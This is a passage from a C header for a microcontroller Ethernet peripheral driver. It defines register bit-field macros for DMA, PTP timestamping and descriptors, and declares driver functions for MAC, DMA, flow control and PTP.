bit field */ #define ENET_PTP_ADD_TO_TIME ((uint32_t)0x00000000) /*!< timestamp update value is added to system time */ #define ENET_PTP_SUBSTRACT_FROM_TIME ENET_PTP_TSUL_TMSUPNS /*!< timestamp update value is subtracted from system time */ /* ptp_ppsctl register value */ #define PTP_PPSCTL_PPSOFC(regval) (BITS(0,3) & ((uint32_t)(regval) << 0)) /*!< write value to ENET_PTP_PPSCTL_PPSOFC bit field */ #define ENET_PPSOFC_1HZ PTP_PPSCTL_PPSOFC(0) /*!< PPS output 1Hz frequency */ #define ENET_PPSOFC_2HZ PTP_PPSCTL_PPSOFC(1) /*!< PPS output 2Hz frequency */ #define ENET_PPSOFC_4HZ PTP_PPSCTL_PPSOFC(2) /*!< PPS output 4Hz frequency */ #define ENET_PPSOFC_8HZ PTP_PPSCTL_PPSOFC(3) /*!< PPS output 8Hz frequency */ #define ENET_PPSOFC_16HZ PTP_PPSCTL_PPSOFC(4) /*!< PPS output 16Hz frequency */ #define ENET_PPSOFC_32HZ PTP_PPSCTL_PPSOFC(5) /*!< PPS output 32Hz frequency */ #define ENET_PPSOFC_64HZ PTP_PPSCTL_PPSOFC(6) /*!< PPS output 64Hz frequency */ #define ENET_PPSOFC_128HZ PTP_PPSCTL_PPSOFC(7) /*!< PPS output 128Hz frequency */ #define ENET_PPSOFC_256HZ PTP_PPSCTL_PPSOFC(8) /*!< PPS output 256Hz frequency */ #define ENET_PPSOFC_512HZ PTP_PPSCTL_PPSOFC(9) /*!< PPS output 512Hz frequency */ #define ENET_PPSOFC_1024HZ PTP_PPSCTL_PPSOFC(10) /*!< PPS output 1024Hz frequency */ #define ENET_PPSOFC_2048HZ PTP_PPSCTL_PPSOFC(11) /*!< PPS output 2048Hz frequency */ #define ENET_PPSOFC_4096HZ PTP_PPSCTL_PPSOFC(12) /*!< PPS output 4096Hz frequency */ #define ENET_PPSOFC_8192HZ PTP_PPSCTL_PPSOFC(13) /*!< PPS output 8192Hz frequency */ #define ENET_PPSOFC_16384HZ PTP_PPSCTL_PPSOFC(14) /*!< PPS output 16384Hz frequency */ #define ENET_PPSOFC_32768HZ PTP_PPSCTL_PPSOFC(15) /*!< PPS output 32768Hz frequency */ /* dma_bctl register value */ #define DMA_BCTL_DPSL(regval) (BITS(2,6) & ((uint32_t)(regval) << 2)) /*!< write value to ENET_DMA_BCTL_DPSL bit field */ #define GET_DMA_BCTL_DPSL(regval) GET_BITS((regval),2,6) /*!< get value of ENET_DMA_BCTL_DPSL bit field */ #define ENET_ENHANCED_DESCRIPTOR ENET_DMA_BCTL_DFM /*!< enhanced mode descriptor */ #define ENET_NORMAL_DESCRIPTOR ((uint32_t)0x00000000) /*!< normal mode descriptor */ #define DMA_BCTL_PGBL(regval) (BITS(8,13) & ((uint32_t)(regval) << 8)) /*!< write value to ENET_DMA_BCTL_PGBL bit field */ #define ENET_PGBL_1BEAT DMA_BCTL_PGBL(1) /*!< maximum number of beats is 1 */ #define ENET_PGBL_2BEAT DMA_BCTL_PGBL(2) /*!< maximum number of beats is 2 */ #define ENET_PGBL_4BEAT DMA_BCTL_PGBL(4) /*!< maximum number of beats is 4 */ #define ENET_PGBL_8BEAT DMA_BCTL_PGBL(8) /*!< maximum number of beats is 8 */ #define ENET_PGBL_16BEAT DMA_BCTL_PGBL(16) /*!< maximum number of beats is 16 */ #define ENET_PGBL_32BEAT DMA_BCTL_PGBL(32) /*!< maximum number of beats is 32 */ #define ENET_PGBL_4xPGBL_4BEAT (DMA_BCTL_PGBL(1)|ENET_DMA_BCTL_FPBL) /*!< maximum number of beats is 4 */ #define ENET_PGBL_4xPGBL_8BEAT (DMA_BCTL_PGBL(2)|ENET_DMA_BCTL_FPBL) /*!< maximum number of beats is 8 */ #define ENET_PGBL_4xPGBL_16BEAT (DMA_BCTL_PGBL(4)|ENET_DMA_BCTL_FPBL) /*!< maximum number of beats is 16 */ #define ENET_PGBL_4xPGBL_32BEAT (DMA_BCTL_PGBL(8)|ENET_DMA_BCTL_FPBL) /*!< maximum number of beats is 32 */ #define ENET_PGBL_4xPGBL_64BEAT (DMA_BCTL_PGBL(16)|ENET_DMA_BCTL_FPBL) /*!< maximum number of beats is 64 */ #define ENET_PGBL_4xPGBL_128BEAT (DMA_BCTL_PGBL(32)|ENET_DMA_BCTL_FPBL) /*!< maximum number of beats is 128 */ #define DMA_BCTL_RTPR(regval) (BITS(14,15) & ((uint32_t)(regval) << 14)) /*!< write value to ENET_DMA_BCTL_RTPR bit field */ #define ENET_ARBITRATION_RXTX_1_1 DMA_BCTL_RTPR(0) /*!< receive and transmit priority ratio is 1:1*/ #define ENET_ARBITRATION_RXTX_2_1 DMA_BCTL_RTPR(1) /*!< receive and transmit priority ratio is 2:1*/ #define ENET_ARBITRATION_RXTX_3_1 DMA_BCTL_RTPR(2) /*!< receive and transmit priority ratio is 3:1 */ #define ENET_ARBITRATION_RXTX_4_1 DMA_BCTL_RTPR(3) /*!< receive and transmit priority ratio is 4:1 */ #define ENET_ARBITRATION_RXPRIORTX ENET_DMA_BCTL_DAB /*!< RxDMA has higher priority than TxDMA */ #define ENET_FIXED_BURST_ENABLE ENET_DMA_BCTL_FB /*!< AHB can only use SINGLE/INCR4/INCR8/INCR16 during start of normal burst transfers */ #define ENET_FIXED_BURST_DISABLE ((uint32_t)0x00000000) /*!< AHB can use SINGLE/INCR burst transfer operations */ #define DMA_BCTL_RXDP(regval) (BITS(17,22) & ((uint32_t)(regval) << 17)) /*!< write value to ENET_DMA_BCTL_RXDP bit field */ #define ENET_RXDP_1BEAT DMA_BCTL_RXDP(1) /*!< maximum number of beats 1 */ #define ENET_RXDP_2BEAT DMA_BCTL_RXDP(2) /*!< maximum number of beats 2 */ #define ENET_RXDP_4BEAT DMA_BCTL_RXDP(4) /*!< maximum number of beats 4 */ #define ENET_RXDP_8BEAT DMA_BCTL_RXDP(8) /*!< maximum number of beats 8 */ #define ENET_RXDP_16BEAT DMA_BCTL_RXDP(16) /*!< maximum number of beats 16 */ #define ENET_RXDP_32BEAT DMA_BCTL_RXDP(32) /*!< maximum number of beats 32 */ #define ENET_RXDP_4xPGBL_4BEAT (DMA_BCTL_RXDP(1)|ENET_DMA_BCTL_FPBL) /*!< maximum number of beats 4 */ #define ENET_RXDP_4xPGBL_8BEAT (DMA_BCTL_RXDP(2)|ENET_DMA_BCTL_FPBL) /*!< maximum number of beats 8 */ #define ENET_RXDP_4xPGBL_16BEAT (DMA_BCTL_RXDP(4)|ENET_DMA_BCTL_FPBL) /*!< maximum number of beats 16 */ #define ENET_RXDP_4xPGBL_32BEAT (DMA_BCTL_RXDP(8)|ENET_DMA_BCTL_FPBL) /*!< maximum number of beats 32 */ #define ENET_RXDP_4xPGBL_64BEAT (DMA_BCTL_RXDP(16)|ENET_DMA_BCTL_FPBL) /*!< maximum number of beats 64 */ #define ENET_RXDP_4xPGBL_128BEAT (DMA_BCTL_RXDP(32)|ENET_DMA_BCTL_FPBL) /*!< maximum number of beats 128 */ #define ENET_RXTX_DIFFERENT_PGBL ENET_DMA_BCTL_UIP /*!< RxDMA uses the RXDP[5:0], while TxDMA uses the PGBL[5:0] */ #define ENET_RXTX_SAME_PGBL ((uint32_t)0x00000000) /*!< RxDMA/TxDMA uses PGBL[5:0] */ #define ENET_ADDRESS_ALIGN_ENABLE ENET_DMA_BCTL_AA /*!< enabled address-aligned */ #define ENET_ADDRESS_ALIGN_DISABLE ((uint32_t)0x00000000) /*!< disable address-aligned */ #define ENET_MIXED_BURST_ENABLE ENET_DMA_BCTL_MB /*!< AHB master interface transfer burst length greater than 16 with INCR */ #define ENET_MIXED_BURST_DISABLE ((uint32_t)0x00000000) /*!< AHB master interface only transfer fixed burst length with 16 and below */ /* dma_stat register value */ #define GET_DMA_STAT_RP(regval) GET_BITS((uint32_t)(regval),17,19) /*!< get value of ENET_DMA_STAT_RP bit field */ #define ENET_RX_STATE_STOPPED ((uint32_t)0x00000000) /*!< reset or stop rx command issued */ #define ENET_RX_STATE_FETCHING BIT(17) /*!< fetching the Rx descriptor */ #define ENET_RX_STATE_WAITING (BIT(17)|BIT(18)) /*!< waiting for receive packet */ #define ENET_RX_STATE_SUSPENDED BIT(19) /*!< Rx descriptor unavailable */ #define ENET_RX_STATE_CLOSING (BIT(17)|BIT(19)) /*!< closing receive descriptor */ #define ENET_RX_STATE_QUEUING ENET_DMA_STAT_RP /*!< transferring the receive packet data from recevie buffer to host memory */ #define GET_DMA_STAT_TP(regval) GET_BITS((uint32_t)(regval),20,22) /*!< get value of ENET_DMA_STAT_TP bit field */ #define ENET_TX_STATE_STOPPED ((uint32_t)0x00000000) /*!< reset or stop Tx Command issued */ #define ENET_TX_STATE_FETCHING BIT(20) /*!< fetching the Tx descriptor */ #define ENET_TX_STATE_WAITING BIT(21) /*!< waiting for status */ #define ENET_TX_STATE_READING (BIT(20)|BIT(21)) /*!< reading the data from host memory buffer and queuing it to transmit buffer */ #define ENET_TX_STATE_SUSPENDED (BIT(21)|BIT(22)) /*!< Tx descriptor unavailabe or transmit buffer underflow */ #define ENET_TX_STATE_CLOSING ENET_DMA_STAT_TP /*!< closing Tx descriptor */ #define GET_DMA_STAT_EB(regval) GET_BITS((uint32_t)(regval),23,25) /*!< get value of ENET_DMA_STAT_EB bit field */ #define ENET_ERROR_TXDATA_TRANSFER BIT(23) /*!< error during data transfer by TxDMA or RxDMA */ #define ENET_ERROR_READ_TRANSFER BIT(24) /*!< error during write transfer or read transfer */ #define ENET_ERROR_DESC_ACCESS BIT(25) /*!< error during descriptor or buffer access */ /* dma_ctl register value */ #define DMA_CTL_RTHC(regval) (BITS(3,4) & ((uint32_t)(regval) << 3)) /*!< write value to ENET_DMA_CTL_RTHC bit field */ #define ENET_RX_THRESHOLD_64BYTES DMA_CTL_RTHC(0) /*!< threshold level is 64 Bytes */ #define ENET_RX_THRESHOLD_32BYTES DMA_CTL_RTHC(1) /*!< threshold level is 32 Bytes */ #define ENET_RX_THRESHOLD_96BYTES DMA_CTL_RTHC(2) /*!< threshold level is 96 Bytes */ #define ENET_RX_THRESHOLD_128BYTES DMA_CTL_RTHC(3) /*!< threshold level is 128 Bytes */ #define DMA_CTL_TTHC(regval) (BITS(14,16) & ((uint32_t)(regval) << 14)) /*!< write value to ENET_DMA_CTL_TTHC bit field */ #define ENET_TX_THRESHOLD_64BYTES DMA_CTL_TTHC(0) /*!< threshold level is 64 Bytes */ #define ENET_TX_THRESHOLD_128BYTES DMA_CTL_TTHC(1) /*!< threshold level is 128 Bytes */ #define ENET_TX_THRESHOLD_192BYTES DMA_CTL_TTHC(2) /*!< threshold level is 192 Bytes */ #define ENET_TX_THRESHOLD_256BYTES DMA_CTL_TTHC(3) /*!< threshold level is 256 Bytes */ #define ENET_TX_THRESHOLD_40BYTES DMA_CTL_TTHC(4) /*!< threshold level is 40 Bytes */ #define ENET_TX_THRESHOLD_32BYTES DMA_CTL_TTHC(5) /*!< threshold level is 32 Bytes */ #define ENET_TX_THRESHOLD_24BYTES DMA_CTL_TTHC(6) /*!< threshold level is 24 Bytes */ #define ENET_TX_THRESHOLD_16BYTES DMA_CTL_TTHC(7) /*!< threshold level is 16 Bytes */ #define ENET_TCPIP_CKSUMERROR_ACCEPT ENET_DMA_CTL_DTCERFD /*!< Rx frame with only payload error but no other errors will not be dropped */ #define ENET_TCPIP_CKSUMERROR_DROP ((uint32_t)0x00000000) /*!< all error frames will be dropped when FERF = 0 */ #define ENET_RX_MODE_STOREFORWARD ENET_DMA_CTL_RSFD /*!< RxFIFO operates in store-and-forward mode */ #define ENET_RX_MODE_CUTTHROUGH ((uint32_t)0x00000000) /*!< RxFIFO operates in cut-through mode */ #define ENET_FLUSH_RXFRAME_ENABLE ((uint32_t)0x00000000) /*!< RxDMA flushes all frames */ #define ENET_FLUSH_RXFRAME_DISABLE ENET_DMA_CTL_DAFRF /*!< RxDMA does not flush any frames */ #define ENET_NO_FLUSH_RXFRAME ENET_DMA_CTL_DAFRF /*!< RxDMA does not flush frames function */ #define ENET_TX_MODE_STOREFORWARD ENET_DMA_CTL_TSFD /*!< TxFIFO operates in store-and-forward mode */ #define ENET_TX_MODE_CUTTHROUGH ((uint32_t)0x00000000) /*!< TxFIFO operates in cut-through mode */ #define ENET_FORWARD_ERRFRAMES_ENABLE (ENET_DMA_CTL_FERF<<2) /*!< all frame received with error except runt error are forwarded to memory */ #define ENET_FORWARD_ERRFRAMES_DISABLE ((uint32_t)0x00000000) /*!< RxFIFO drop error frame */ #define ENET_FORWARD_ERRFRAMES (ENET_DMA_CTL_FERF<<2) /*!< the function that all frame received with error except runt error are forwarded to memory */ #define ENET_FORWARD_UNDERSZ_GOODFRAMES_ENABLE (ENET_DMA_CTL_FUF<<2) /*!< forward undersized good frames */ #define ENET_FORWARD_UNDERSZ_GOODFRAMES_DISABLE ((uint32_t)0x00000000) /*!< RxFIFO drops all frames whose length is less than 64 bytes */ #define ENET_FORWARD_UNDERSZ_GOODFRAMES (ENET_DMA_CTL_FUF<<2) /*!< the function that forwarding undersized good frames */ #define ENET_SECONDFRAME_OPT_ENABLE ENET_DMA_CTL_OSF /*!< TxDMA controller operate on second frame mode enable*/ #define ENET_SECONDFRAME_OPT_DISABLE ((uint32_t)0x00000000) /*!< TxDMA controller operate on second frame mode disable */ #define ENET_SECONDFRAME_OPT ENET_DMA_CTL_OSF /*!< TxDMA controller operate on second frame function */ /* dma_mfbocnt register value */ #define GET_DMA_MFBOCNT_MSFC(regval) GET_BITS((regval),0,15) /*!< get value of ENET_DMA_MFBOCNT_MSFC bit field */ #define GET_DMA_MFBOCNT_MSFA(regval) GET_BITS((regval),17,27) /*!< get value of ENET_DMA_MFBOCNT_MSFA bit field */ /* dma_rswdc register value */ #define DMA_RSWDC_WDCFRS(regval) (BITS(0,7) & ((uint32_t)(regval) << 0)) /*!< write value to ENET_DMA_RSWDC_WDCFRS bit field */ /* dma tx descriptor tdes0 register value */ #define TDES0_CONT(regval) (BITS(3,6) & ((uint32_t)(regval) << 3)) /*!< write value to ENET DMA TDES0 CONT bit field */ #define GET_TDES0_COCNT(regval) GET_BITS((regval),3,6) /*!< get value of ENET DMA TDES0 CONT bit field */ #define TDES0_CM(regval) (BITS(22,23) & ((uint32_t)(regval) << 22)) /*!< write value to ENET DMA TDES0 CM bit field */ #define ENET_CHECKSUM_DISABLE TDES0_CM(0) /*!< checksum insertion disabled */ #define ENET_CHECKSUM_IPV4HEADER TDES0_CM(1) /*!< only IP header checksum calculation and insertion are enabled */ #define ENET_CHECKSUM_TCPUDPICMP_SEGMENT TDES0_CM(2) /*!< TCP/UDP/ICMP checksum insertion calculated but pseudo-header */ #define ENET_CHECKSUM_TCPUDPICMP_FULL TDES0_CM(3) /*!< TCP/UDP/ICMP checksum insertion fully calculated */ /* dma tx descriptor tdes1 register value */ #define TDES1_TB1S(regval) (BITS(0,12) & ((uint32_t)(regval) << 0)) /*!< write value to ENET DMA TDES1 TB1S bit field */ #define TDES1_TB2S(regval) (BITS(16,28) & ((uint32_t)(regval) << 16)) /*!< write value to ENET DMA TDES1 TB2S bit field */ /* dma rx descriptor rdes0 register value */ #define RDES0_FRML(regval) (BITS(16,29) & ((uint32_t)(regval) << 16)) /*!< write value to ENET DMA RDES0 FRML bit field */ #define GET_RDES0_FRML(regval) GET_BITS((regval),16,29) /*!< get value of ENET DMA RDES0 FRML bit field */ /* dma rx descriptor rdes1 register value */ #define ENET_RECEIVE_COMPLETE_INT_ENABLE ((uint32_t)0x00000000U) /*!< RS bit immediately set after Rx completed */ #define ENET_RECEIVE_COMPLETE_INT_DISABLE ENET_RDES1_DINTC /*!< RS bit not immediately set after Rx completed */ #define GET_RDES1_RB1S(regval) GET_BITS((regval),0,12) /*!< get value of ENET DMA RDES1 RB1S bit field */ #define GET_RDES1_RB2S(regval) GET_BITS((regval),16,28) /*!< get value of ENET DMA RDES1 RB2S bit field */ /* dma rx descriptor rdes4 register value */ #define RDES4_IPPLDT(regval) (BITS(0,2) & ((uint32_t)(regval) << 0)) /*!< write value to ENET DMA RDES4 IPPLDT bit field */ #define GET_RDES4_IPPLDT(regval) GET_BITS((regval),0,2) /*!< get value of ENET DMA RDES4 IPPLDT bit field */ #define RDES4_PTPMT(regval) (BITS(8,11) & ((uint32_t)(regval) << 8)) /*!< write value to ENET DMA RDES4 PTPMT bit field */ #define GET_RDES4_PTPMT(regval) GET_BITS((regval),8,11) /*!< get value of ENET DMA RDES4 PTPMT bit field */ /* ENET register mask value */ #define MAC_CFG_MASK ((uint32_t)0xFD30810FU) /*!< ENET_MAC_CFG register mask */ #define MAC_FCTL_MASK ((uint32_t)0x0000FF41U) /*!< ENET_MAC_FCTL register mask */ #define DMA_CTL_MASK ((uint32_t)0xF8DE3F23U) /*!< ENET_DMA_CTL register mask */ #define DMA_BCTL_MASK ((uint32_t)0xF800007DU) /*!< ENET_DMA_BCTL register mask */ #define ENET_MSC_PRESET_MASK (~(ENET_MSC_CTL_PMC | ENET_MSC_CTL_AFHPM)) /*!< ENET_MSC_CTL preset mask */ #ifdef SELECT_DESCRIPTORS_ENHANCED_MODE #define ETH_DMATXDESC_SIZE 0x20U /*!< TxDMA enhanced descriptor size */ #define ETH_DMARXDESC_SIZE 0x20U /*!< RxDMA enhanced descriptor size */ #else #define ETH_DMATXDESC_SIZE 0x10U /*!< TxDMA descriptor size */ #define ETH_DMARXDESC_SIZE 0x10U /*!< RxDMA descriptor size */ #endif /* SELECT_DESCRIPTORS_ENHANCED_MODE */ typedef enum { ENET_CKNT_ORDINARY = PTP_TSCTL_CKNT(0), /*!< type of ordinary clock node type for timestamp */ ENET_CKNT_BOUNDARY = PTP_TSCTL_CKNT(1), /*!< type of boundary clock node type for timestamp */ ENET_CKNT_END_TO_END = PTP_TSCTL_CKNT(2), /*!< type of end-to-end transparent clock node type for timestamp */ ENET_CKNT_PEER_TO_PEER = PTP_TSCTL_CKNT(3), /*!< type of peer-to-peer transparent clock node type for timestamp */ ENET_PTP_SYSTIME_INIT = ENET_PTP_TSCTL_TMSSTI, /*!< timestamp initialize */ ENET_PTP_SYSTIME_UPDATE = ENET_PTP_TSCTL_TMSSTU, /*!< timestamp update */ ENET_PTP_ADDEND_UPDATE = ENET_PTP_TSCTL_TMSARU, /*!< addend register update */ ENET_PTP_FINEMODE = (int32_t)(ENET_PTP_TSCTL_TMSFCU | BIT(31)), /*!< the system timestamp uses the fine method for updating */ ENET_PTP_COARSEMODE = ENET_PTP_TSCTL_TMSFCU, /*!< the system timestamp uses the coarse method for updating */ ENET_SUBSECOND_DIGITAL_ROLLOVER = (int32_t)(ENET_PTP_TSCTL_SCROM | BIT(31)), /*!< digital rollover mode */ ENET_SUBSECOND_BINARY_ROLLOVER = ENET_PTP_TSCTL_SCROM, /*!< binary rollover mode */ ENET_SNOOPING_PTP_VERSION_2 = (int32_t)(ENET_PTP_TSCTL_PFSV | BIT(31)), /*!< version 2 */ ENET_SNOOPING_PTP_VERSION_1 = ENET_PTP_TSCTL_PFSV, /*!< version 1 */ ENET_EVENT_TYPE_MESSAGES_SNAPSHOT = (int32_t)(ENET_PTP_TSCTL_ETMSEN | BIT(31)), /*!< only event type messages are taken snapshot */ ENET_ALL_TYPE_MESSAGES_SNAPSHOT = ENET_PTP_TSCTL_ETMSEN, /*!< all type messages are taken snapshot except announce, management and signaling message */ ENET_MASTER_NODE_MESSAGE_SNAPSHOT = (int32_t)(ENET_PTP_TSCTL_MNMSEN | BIT(31)), /*!< snapshot is only take for master node message */ ENET_SLAVE_NODE_MESSAGE_SNAPSHOT = ENET_PTP_TSCTL_MNMSEN, /*!< snapshot is only taken for slave node message */ } enet_ptp_function_enum; /* ENET remote wake-up frame register length */ #define ETH_WAKEUP_REGISTER_LENGTH 8U /*!< remote wake-up frame register length */ /* ENET frame size */ #define ENET_MAX_FRAME_SIZE 1524U /*!< header + frame_extra + payload + CRC */ /* ENET delay timeout */ #define ENET_DELAY_TO ((uint32_t)0x0004FFFFU) /*!< ENET delay timeout */ #define ENET_RESET_TO ((uint32_t)0x000004FFU) /*!< ENET reset timeout */ /* function declarations */ /* main function */ /* deinitialize the ENET, and reset structure parameters for ENET initialization */ void enet_deinit(void); /* configure the parameters which are usually less cared for initialization */ void enet_initpara_config(enet_option_enum option, uint32_t para); /* initialize ENET peripheral with generally concerned parameters and the less cared parameters */ ErrStatus enet_init(enet_mediamode_enum mediamode, enet_chksumconf_enum checksum, enet_frmrecept_enum recept); /* reset all core internal registers located in CLK_TX and CLK_RX */ ErrStatus enet_software_reset(void); /* check receive frame valid and return frame size */ uint32_t enet_rxframe_size_get(void); /* initialize the dma tx/rx descriptors's parameters in chain mode */ void enet_descriptors_chain_init(enet_dmadirection_enum direction); /* initialize the dma tx/rx descriptors's parameters in ring mode */ void enet_descriptors_ring_init(enet_dmadirection_enum direction); /* handle current received frame data to application buffer */ ErrStatus enet_frame_receive(uint8_t *buffer, uint32_t bufsize); /* handle current received frame but without data copy to application buffer */ #define ENET_NOCOPY_FRAME_RECEIVE() enet_frame_receive(NULL, 0U) /* handle application buffer data to transmit it */ ErrStatus enet_frame_transmit(uint8_t *buffer, uint32_t length); /* handle current transmit frame but without data copy from application buffer */ #define ENET_NOCOPY_FRAME_TRANSMIT(len) enet_frame_transmit(NULL, (len)) /* configure the transmit IP frame checksum offload calculation and insertion */ void enet_transmit_checksum_config(enet_descriptors_struct *desc, uint32_t checksum); /* ENET Tx and Rx function enable (include MAC and DMA module) */ void enet_enable(void); /* ENET Tx and Rx function disable (include MAC and DMA module) */ void enet_disable(void); /* configure MAC address */ void enet_mac_address_set(enet_macaddress_enum mac_addr, uint8_t paddr[]); /* get MAC address */ void enet_mac_address_get(enet_macaddress_enum mac_addr, uint8_t paddr[]); /* get the ENET MAC/MSC/PTP/DMA status flag */ FlagStatus enet_flag_get(enet_flag_enum enet_flag); /* clear the ENET DMA status flag */ void enet_flag_clear(enet_flag_clear_enum enet_flag); /* enable ENET MAC/MSC/DMA interrupt */ void enet_interrupt_enable(enet_int_enum enet_int); /* disable ENET MAC/MSC/DMA interrupt */ void enet_interrupt_disable(enet_int_enum enet_int); /* get ENET MAC/MSC/DMA interrupt flag */ FlagStatus enet_interrupt_flag_get(enet_int_flag_enum int_flag); /* clear ENET DMA interrupt flag */ void enet_interrupt_flag_clear(enet_int_flag_clear_enum int_flag_clear); /* MAC function */ /* ENET Tx function enable (include MAC and DMA module) */ void enet_tx_enable(void); /* ENET Tx function disable (include MAC and DMA module) */ void enet_tx_disable(void); /* ENET Rx function enable (include MAC and DMA module) */ void enet_rx_enable(void); /* ENET Rx function disable (include MAC and DMA module) */ void enet_rx_disable(void); /* put registers value into the application buffer */ void enet_registers_get(enet_registers_type_enum type, uint32_t *preg, uint32_t num); /* get the enet debug status from the debug register */ uint32_t enet_debug_status_get(uint32_t mac_debug); /* enable the MAC address filter */ void enet_address_filter_enable(enet_macaddress_enum mac_addr); /* disable the MAC address filter */ void enet_address_filter_disable(enet_macaddress_enum mac_addr); /* configure the MAC address filter */ void enet_address_filter_config(enet_macaddress_enum mac_addr, uint32_t addr_mask, uint32_t filter_type); /* PHY interface configuration (configure SMI clock and reset PHY chip) */ ErrStatus enet_phy_config(void); /* write to/read from a PHY register */ ErrStatus enet_phy_write_read(enet_phydirection_enum direction, uint16_t phy_address, uint16_t phy_reg, uint16_t *pvalue); /* enable the loopback function of phy chip */ ErrStatus enet_phyloopback_enable(void); /* disable the loopback function of phy chip */ ErrStatus enet_phyloopback_disable(void); /* enable ENET forward feature */ void enet_forward_feature_enable(uint32_t feature); /* disable ENET forward feature */ void enet_forward_feature_disable(uint32_t feature); /* enable ENET fliter feature */ void enet_fliter_feature_enable(uint32_t feature); /* disable ENET fliter feature */ void enet_fliter_feature_disable(uint32_t feature); /* flow control function */ /* generate the pause frame, ENET will send pause frame after enable transmit flow control */ ErrStatus enet_pauseframe_generate(void); /* configure the pause frame detect type */ void enet_pauseframe_detect_config(uint32_t detect); /* configure the pause frame parameters */ void enet_pauseframe_config(uint32_t pausetime, uint32_t pause_threshold); /* configure the threshold of the flow control(deactive and active threshold) */ void enet_flowcontrol_threshold_config(uint32_t deactive, uint32_t active); /* enable ENET flow control feature */ void enet_flowcontrol_feature_enable(uint32_t feature); /* disable ENET flow control feature */ void enet_flowcontrol_feature_disable(uint32_t feature); /* DMA function */ /* get the dma transmit/receive process state */ uint32_t enet_dmaprocess_state_get(enet_dmadirection_enum direction); /* poll the dma transmission/reception enable */ void enet_dmaprocess_resume(enet_dmadirection_enum direction); /* check and recover the Rx process */ void enet_rxprocess_check_recovery(void); /* flush the ENET transmit fifo, and wait until the flush operation completes */ ErrStatus enet_txfifo_flush(void); /* get the transmit/receive address of current descriptor, or current buffer, or descriptor table */ uint32_t enet_current_desc_address_get(enet_desc_reg_enum addr_get); /* get the Tx or Rx descriptor information */ uint32_t enet_desc_information_get(enet_descriptors_struct *desc, enet_descstate_enum info_get); /* get the number of missed frames during receiving */ void enet_missed_frame_counter_get(uint32_t *rxfifo_drop, uint32_t *rxdma_drop); /* descriptor function */ /* get the bit flag of ENET dma descriptor */ FlagStatus enet_desc_flag_get(enet_descriptors_struct *desc, uint32_t desc_flag); /* set the bit flag of ENET dma tx descriptor */ void enet_desc_flag_set(enet_descriptors_struct *desc, uint32_t desc_flag); /* clear the bit flag of ENET dma tx descriptor */ void enet_desc_flag_clear(enet_descriptors_struct *desc, uint32_t desc_flag); /* when receiving the completed, set RS bit in ENET_DMA_STAT register will immediately set */ void enet_rx_desc_immediate_receive_complete_interrupt(enet_descriptors_struct *desc); /* when receiving the completed, set RS bit in ENET_DMA_STAT register will is set after a configurable delay time */ void enet_rx_desc_delay_receive_complete_interrupt(enet_descriptors_struct *desc, uint32_t delay_time); /* drop current receive frame */ void enet_rxframe_drop(void); /* enable DMA feature */ void enet_dma_feature_enable(uint32_t feature); /* disable DMA feature */ void enet_dma_feature_disable(uint32_t feature); /* special enhanced mode function */ #ifdef SELECT_DESCRIPTORS_ENHANCED_MODE /* get the bit of extended status flag in ENET DMA descriptor */ uint32_t enet_rx_desc_enhanced_status_get(enet_descriptors_struct *desc, uint32_t desc_status); /* configure descriptor to work in enhanced mode */ void enet_desc_select_enhanced_mode(void); /* initialize the dma Tx/Rx descriptors's parameters in enhanced chain mode with ptp function */ void enet_ptp_enhanced_descriptors_chain_init(enet_dmadirection_enum direction); /* initialize the dma Tx/Rx descriptors's parameters in enhanced ring mode with ptp function */ void enet_ptp_enhanced_descriptors_ring_init(enet_dmadirection_enum direction); /* receive a packet data with timestamp values to application buffer, when the DMA is in enhanced mode */ ErrStatus enet_ptpframe_receive_enhanced_mode(uint8_t *buffer, uint32_t bufsize, uint32_t timestamp[]); /* handle current received frame but without data copy to application buffer in PTP enhanced mode */ #define ENET_NOCOPY_PTPFRAME_RECEIVE_ENHANCED_MODE(ptr) enet_ptpframe_receive_enhanced_mode(NULL, 0U, (ptr)) /* send data with timestamp values in application buffer as a transmit packet, when the DMA is in enhanced mode */ ErrStatus enet_ptpframe_transmit_enhanced_mode(uint8_t *buffer, uint32_t length, uint32_t timestamp[]); /* handle current transmit frame but without data copy from application buffer in PTP enhanced mode */ #define ENET_NOCOPY_PTPFRAME_TRANSMIT_ENHANCED_MODE(len, ptr) enet_ptpframe_transmit_enhanced_mode(NULL, (len), (ptr)) #else /* configure descriptor to work in normal mode */ void enet_desc_select_normal_mode(void); /* initialize the dma Tx/Rx descriptors's parameters in normal chain mode with ptp function */ void enet_ptp_normal_descriptors_chain_init(enet_dmadirection_enum direction, enet_descriptors_struct *desc_ptptab); /* initialize the dma Tx/Rx descriptors's parameters in normal ring mode with ptp function */ void enet_ptp_normal_descriptors_ring_init(enet_dmadirection_enum direction, enet_descriptors_struct *desc_ptptab); /* receive a packet data with timestamp values to application buffer, when the DMA is in normal mode */ ErrStatus enet_ptpframe_receive_normal_mode(uint8_t *buffer, uint32_t bufsize, uint32_t timestamp[]); /* handle current received frame but without data copy to application buffer in PTP normal mode */ #define ENET_NOCOPY_PTPFRAME_RECEIVE_NORMAL_MODE(ptr) enet_ptpframe_receive_normal_mode(NULL, 0U, (ptr)) /* send data with timestamp values in application buffer as a transmit packet, when the DMA is in normal mode */ ErrStatus enet_ptpframe_transmit_normal_mode(uint8_t *buffer, uint32_t length, uint32_t timestamp[]); /* handle current transmit frame but without data copy from application buffer in PTP normal mode */ #define ENET_NOCOPY_PTPFRAME_TRANSMIT_NORMAL_MODE(len, ptr) enet_ptpframe_transmit_normal_mode(NULL, (len), (ptr)) #endif /* SELECT_DESCRIPTORS_ENHANCED_MODE */ /* WUM function */ /* wakeup frame filter register pointer reset */ void enet_wum_filter_register_pointer_reset(void); /* set the remote wakeup frame registers */ void enet_wum_filter_config(uint32_t pdata[]); /* enable wakeup management features */ void enet_wum_feature_enable(uint32_t feature); /* disable wakeup management features */ void enet_wum_feature_disable(uint32_t feature); /* MSC function */ /* reset the MAC statistics counters */ void enet_msc_counters_reset(void); /* enable the MAC statistics counter features */ void enet_msc_feature_enable(uint32_t feature); /* disable the MAC statistics counter features */ void enet_msc_feature_disable(uint32_t feature); /* configure MAC statistics counters preset mode */ void enet_msc_counters_preset_config(enet_msc_preset_enum mode); /* get MAC statistics counter */ uint32_t enet_msc_counters_get(enet_msc_counter_enum counter); /* PTP function */ /* change subsecond to nanosecond */ uint32_t enet_ptp_subsecond_2_nanosecond(uint32_t subsecond); /* change nanosecond to subsecond */ uint32_t enet_ptp_nanosecond_2_subsecond(uint32_t nanosecond); /* enable the PTP features */ void enet_ptp_feature_enable(uint32_t feature); /* disable the PTP features */ void enet_ptp_feature_disable(uint32_t feature); /* configure the PTP timestamp function */ ErrStatus 